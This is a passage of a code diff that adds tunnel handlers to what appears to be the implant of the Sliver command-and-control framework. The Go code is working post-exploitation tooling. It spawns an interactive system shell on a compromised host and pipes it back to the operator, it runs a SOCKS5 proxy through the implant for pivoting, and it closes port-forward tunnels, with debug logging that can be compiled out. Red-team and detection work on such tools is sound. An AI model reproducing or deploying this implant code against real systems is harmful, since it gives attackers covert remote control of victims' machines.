connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
n, err := io.Copy(tWriter, tunnel.Reader)
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
}
@@ -0,0 +1,118 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"io"
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
return
}
// At this point, comand is already started by StartInteractive
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to spawn! err: %v", err)
// {{end}}
return
} else {
// {{if .Config.Debug}}
log.Printf("[shell] Process spawned!")
// {{end}}
}
tunnel := transports.NewTunnel(
shellReq.TunnelID,
systemShell.Stdout,
systemShell.Stdin,
)
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string, err error) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel request %d (%s). Err: %v", tunnel.ID, reason, err)
// {{end}}
systemShell.Stop()
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
if err != nil {
cleanup("io error", err)
return
}
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
if err != nil {
cleanup("shell wait error", err)
return
}
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated", nil)
return
}
}
if err == io.EOF {
cleanup("EOF", err)
return
}
}()
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
@@ -0,0 +1,165 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"errors"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
type socksTunnelPool struct {
tunnels *sync.Map // map[uint64]chan []byte
}
var socksTunnels = socksTunnelPool{
tunnels: &sync.Map{},
}
var socksServer *socks5.Server
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
tunnelChan := make(chan []byte, 10)
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
tunnelChan <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to serve connection: %v", err)
// {{end}}
return
}
} else {
tunnel.(chan []byte) <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
if !ok {
return 0, errors.New("[socks] invalid tunnel id")
}
data := <-channel.(chan []byte)
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: atomic.LoadUint64(&s.Sequence),
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", atomic.LoadUint64(&s.Sequence), len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
atomic.AddUint64(&s.Sequence, 1)
return len(b), err
}
func (s *socks) Close() error {
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
if !ok {
return errors.New("[socks] can't close unknown channel")
}
close(channel.(chan []byte))
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
Loaded 100 of 1223 files, more files were not shown because too many files have changed in this diff. Show more